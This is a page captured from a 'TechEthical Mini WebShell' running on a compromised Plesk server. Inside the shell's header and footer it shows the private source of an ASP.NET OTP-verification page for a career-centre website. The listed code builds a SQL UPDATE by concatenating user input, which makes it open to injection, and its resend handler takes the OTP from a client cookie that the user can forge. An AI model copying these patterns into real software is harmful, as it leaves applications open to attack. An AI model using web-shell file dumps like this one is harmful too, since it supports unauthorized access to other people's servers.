TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/FreeRegistrationOTP.aspx.cs

using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

using Directory;

namespace Main
{
    public partial class OTPVerification : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            if(!IsPostBack)
            {
                 txtMobileNo.Text=Session["NewRegistrationOTPMobile"].ToString();
                 txtMobileNo.Enabled = false;
            }
        }

        protected void btn_otpVerify_Click(object sender, EventArgs e)
        {
            pnl_update.Visible = false;
            lbl_update.Text = "";
            if (Session["OTP_NewRegistration"].ToString() == txtOTP.Text.Trim())
            {                
                pnl_update.Visible = true;
                lbl_update.Text = "Matched OTP";
                connection_sql obj = new connection_sql();
                int num = obj.ExcuteCommand("Update tbl_FreeRegistration set VerifiedMobile='Yes' " 
                    + " where mobile1 = '" + txtMobileNo.Text.Trim() + "' and status ='Active'");
                if (num >= 1)
                {
                    pnl_update.Visible = true;
                    lbl_update.Text = "Matched OTP, Saved Your Record.";
                    lbl_update.Visible = true;

                    var msg = "Your record saved successfully. Our team will call you shortly. " + obj.getInstituteName();
                    sendsms objSMS = new sendsms();
                    objSMS.SendSMS_OTP(txtMobileNo.Text, msg);   

                    ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Matched OTP, Saved Your Record.');", true);
                }
                else
                {
                    lbl_update.Text = "Matched OTP, But your record not found.";
                    ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Matched OTP, But your record not found.');", true);
                }
            }
            else
            {
                pnl_update.Visible = true;
                lbl_update.Text = "Invalid OTP";
                Session["NewRegistrationOTP"] = "";
            }
        }

        protected void butGetOTP_Click(object sender, EventArgs e)
        {
            if (txtMobileNo.Text.Length != 10)
            {
                pnl_update.Visible = true;
                lbl_update.Text = "Invalid Mobile Number!!!";
            }
            else
            {
                send_otp objOTP = new send_otp();
                Session["OTP_NewRegistration"]= objOTP.getOTP();
                var msg = "Your OTP is " + Session["OTP_NewRegistration"].ToString() 
                    + ". Do Not Share this OTP with anyone. Valid for 20 minutes.";               
                sendsms obj = new sendsms();
                obj.SendSMS_OTP(txtMobileNo.Text, msg);                
            }
        }
        
        protected void btn_resendsms_Click(object sender, EventArgs e)
        {
            Cookie Cookies = new Cookie();
            var otp = Request.Cookies["otp"].Value;
            var msg = "Your new OTP is - " + otp + ". Do not share this otp with anyone. Valid For 20 Minutes.";
            var txt_otp = txtOTP.Text; // "" + txt_otp1.Text + "" + txt_otp2.Text + "" + txt_otp3.Text + "" + txt_otp4.Text;
            sendsms obj = new sendsms();
            obj.SendSMS_OTP(txtMobileNo.Text, msg);   
        }       
     }
}

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3